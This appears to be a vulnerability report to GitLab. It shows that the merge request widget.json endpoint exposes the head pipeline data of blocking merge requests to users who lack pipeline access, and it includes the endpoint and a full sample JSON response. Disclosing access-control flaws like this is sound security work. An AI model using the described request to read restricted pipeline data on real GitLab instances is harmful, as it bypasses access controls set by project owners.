GitLab allows for public and internal projects to restrict the visibility of pipelines to project members only. Then, only project members should have access to the pipeline information.
GitLab recently added the blocking merge request feature. This feature can be used to leak the head pipeline thus bypassing the access control.
https://example.gitlab.com/<namespace>/<project-name>/merge_requests/2/widget.json
This returns the JSON data for the merge request like the following example:
{
"id": 34440035,
"iid": 2,
"description": "",
"title": "Add new file",
"approvals_before_merge": 0,
"blob_path": {
"head_path": "/wter23/test-blocking-mr-ci/blob/efe31a3611750142b47c5d9de374cd403d66c555",
"base_path": "/wter23/test-blocking-mr-ci/blob/1261949f29fd17e908f26a3e5461ff92ba6557ab"
},
"pipeline_id": 74726702,
"vulnerability_feedback_path": "/wter23/test-blocking-mr-ci/vulnerability_feedback",
"create_vulnerability_feedback_issue_path": null,
"create_vulnerability_feedback_merge_request_path": null,
"create_vulnerability_feedback_dismissal_path": null,
"rebase_commit_sha": null,
"rebase_in_progress": false,
"merge_pipelines_enabled": false,
"can_push_to_source_branch": false,
"has_approvals_available": true,
"rebase_path": null,
"approvals_path": "/wter23/test-blocking-mr-ci/merge_requests/2/approvals",
"api_approvals_path": "/api/v4/projects/13656291/merge_requests/2/approvals",
"api_approval_settings_path": "/api/v4/projects/13656291/merge_requests/2/approval_settings",
"api_approve_path": "/api/v4/projects/13656291/merge_requests/2/approve",
"api_unapprove_path": "/api/v4/projects/13656291/merge_requests/2/unapprove",
"blocking_merge_requests": {
"total_count": 1,
"hidden_count": 0,
"visible_merge_requests": {
"opened": [
{
"id": 34439968,
"iid": 1,
"title": "Add new file",
"state": "opened",
"reference": "!1",
"web_url": "/wter23/test-blocking-mr-ci/merge_requests/1",
"head_pipeline": {
"id": 74726535,
"sha": "e241af2ea6ee0e1292fa02c5e59c3ffc68311fa2",
"ref": "first",
"status": "success",
"web_url": "https://gitlab.com/wter23/test-blocking-mr-ci/pipelines/74726535",
"before_sha": "0000000000000000000000000000000000000000",
"tag": false,
"yaml_errors": null,
"user": {
"id": 4147327,
"name": "wter23",
"username": "wter23",
"state": "active",
"avatar_url": "https://secure.gravatar.com/avatar/a12221ea7cab0b84c088f1ab6e02724b?s=80&d=identicon",
"web_url": "https://gitlab.com/wter23"
},
"created_at": "2019-08-05T11:39:32.249Z",
"updated_at": "2019-08-05T11:44:16.900Z",
"started_at": "2019-08-05T11:39:33.294Z",
"finished_at": "2019-08-05T11:44:16.889Z",
"committed_at": null,
"duration": 277,
"coverage": null,
"detailed_status": {
"icon": "status_success",
"text": "passed",
"label": "passed",
"group": "success",
"tooltip": "passed",
"has_details": false,
"details_path": "/wter23/test-blocking-mr-ci/pipelines/74726535",
"illustration": null,
"favicon": "https://gitlab.com/assets/ci_favicons/favicon_status_success-8451333011eee8ce9f2ab25dc487fe24a8758c694827a582f17f42b0a90446a2.png"
}
},
"assignees": [],
"milestone": null,
"created_at": "2019-08-05T11:39:50.598Z",
"merged_at": null,
"closed_at": null
}
]
}
},
"state": "opened",
"in_progress_merge_commit_sha": null,
"merge_commit_sha": null,
"short_merge_commit_sha": null,
"merge_error": null,
"merge_params": {
"force_remove_source_branch": "0"
},
"merge_status": "can_be_merged",
"merge_user_id": null,
"auto_merge_enabled": false,
"auto_merge_strategy": null,
"available_auto_merge_strategies": [],
"source_branch": "second",
"source_branch_protected": false,
"source_project_id": 13656291,
"source_project_full_path": "wter23/test-blocking-mr-ci",
"squash": false,
"target_branch": "master",
"target_branch_sha": "1261949f29fd17e908f26a3e5461ff92ba6557ab",
"target_project_id": 13656291,
"target_project_full_path": "wter23/test-blocking-mr-ci",
"allow_collaboration": false,
"should_be_rebased": false,
"ff_only_enabled": false,
"metrics": null,
"merge_user": null,
"diff_head_sha": "efe31a3611750142b47c5d9de374cd403d66c555",
"default_squash_commit_message": "Add new file",
"default_merge_commit_message": "Merge branch 'second' into 'master'\n\nAdd new file\n\nSee merge request wter23/test-blocking-mr-ci!2",
"default_merge_commit_message_with_description": "Merge branch 'second' into 'master'\n\nAdd new file\n\nSee merge request wter23/test-blocking-mr-ci!2",
"commits_without_merge_commits": [
{
"message": "Add new file",
"short_id": "efe31a36",
"title": "Add new file"
}
],
"commits_count": 1,
"merge_ongoing": false,
"work_in_progress": false,
"source_branch_exists": true,
"mergeable_discussions_state": true,
"branch_missing": false,
"has_conflicts": false,
"can_be_merged": true,
"mergeable": false,
"remove_source_branch": false,
"project_archived": false,
"only_allow_merge_if_pipeline_succeeds": false,
"has_ci": true,
"ci_status": "success",
"source_branch_with_namespace_link": "<a href>second</a>",
"source_branch_path": "/wter23/test-blocking-mr-ci/-/branches/second",
"current_user": {
"can_remove_source_branch": false,
"can_revert_on_current_merge_request": false,
"can_cherry_pick_on_current_merge_request": false,
"can_create_note": false,
"can_create_issue": false,
"can_update": false
},
"target_branch_commits_path": "/wter23/test-blocking-mr-ci/commits/master",
"target_branch_tree_path": "/wter23/test-blocking-mr-ci/tree/master",
"new_blob_path": null,
"conflict_resolution_path": null,
"remove_wip_path": null,
"cancel_auto_merge_path": null,
"create_issue_to_resolve_discussions_path": null,
"merge_path": null,
"cherry_pick_in_fork_path": null,
"revert_in_fork_path": null,
"email_patches_path": "/wter23/test-blocking-mr-ci/merge_requests/2.patch",
"plain_diff_path": "/wter23/test-blocking-mr-ci/merge_requests/2.diff",
"merge_request_basic_path": "/wter23/test-blocking-mr-ci/merge_requests/2.json?serializer=basic",
"merge_request_widget_path": "/wter23/test-blocking-mr-ci/merge_requests/2/widget.json",
"ci_environments_status_path": "/wter23/test-blocking-mr-ci/merge_requests/2/ci_environments_status",
"diverged_commits_count": 0,
"create_note_path": "/wter23/test-blocking-mr-ci/notes?target_id=34440035&target_type=merge_request",
"commit_change_content_path": "/wter23/test-blocking-mr-ci/merge_requests/2/commit_change_content",
"preview_note_path": "/wter23/test-blocking-mr-ci/preview_markdown?target_id=2&target_type=MergeRequest",
"merge_commit_path": null,
"test_reports_path": null,
"can_receive_suggestion": true,
"conflicts_docs_path": "/help/user/project/merge_requests/resolve_conflicts.md",
"merge_request_pipelines_docs_path": "/help/ci/merge_request_pipelines/index.md"
}
Notice, there is a head_pipeline
pipeline field for the blocking MR, thus leaking the pipeline information although the unauthenticated user does not have access to the pipeline information.
Pipeline information is leaked to unauthorized users.
This happens on gitlab.com. You can visit https://gitlab.com/wter23/test-blocking-mr-ci/merge_requests/2/widget.json to see the information leak.
Head pipeline of blocking merge requests is leaked to users without access to the piplines.
Users without access to the pipeline information cannot see the head_pipeline
data.
(Paste any relevant logs - please use code blocks (```) to format console output,
logs, and code as it’s very hard to read otherwise.)
See above